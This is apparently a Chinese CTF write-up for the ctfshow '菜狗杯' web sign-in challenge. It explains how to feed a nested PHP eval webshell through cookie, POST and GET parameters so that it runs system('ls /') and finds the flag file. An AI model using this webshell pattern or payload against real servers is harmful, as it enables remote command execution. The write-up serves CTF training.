ctfshow-菜狗杯-web签到
ctfshow-菜狗杯-web签到

主要就是最后这个一句话木马的利用,嵌套的有点多,来理一下:
首先最里面是‘CTFshow-QQ群’,前面是$_COOKIE,也就是取的是cookie中‘CTFshow-QQ群’的值;那如果我们在cookie中传入CTFshow-QQ群=a,那么一句话木马就变成了:
eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);
那么$_POST[a]就是要以POST方式传入的a参数的值,我们将传入的a=b,那么就变为了:
eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);
$_GET[b]也就是要以GET方式来传入b参数的值,我们再给b赋值b=c,就得到:
eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);
$_REQUEST[c][6][0][7][5][8][0][9][4][4],其中$_REQUEST是以任何一种方式请求都可以,c为数组,$_REQUEST请求中传入的值是取的C数组中ID键为[6][0][7][5][8][0][9][4][4]的值。因为PHP数组是可以指定ID键分配值的,那么我们就可以给C数组中的这些键直接赋值:c[6][0][7][5][8][0][9][4][4]= system('ls /');
于是我们用POST形式发包,同时注意“群”要用url编码,否则burp不识别(给c赋值时可以放在请求头也可以放在请求实体中,因为request请求方式无论是用get还是post形式都可以接受,这里放在了请求实体中):
Cookie: CTFshow-QQ%E7%BE%A4:=a

可以看到根目录下的文件,但是可以得知flag就在f1agaaa里面


浙公网安备 33010602011771号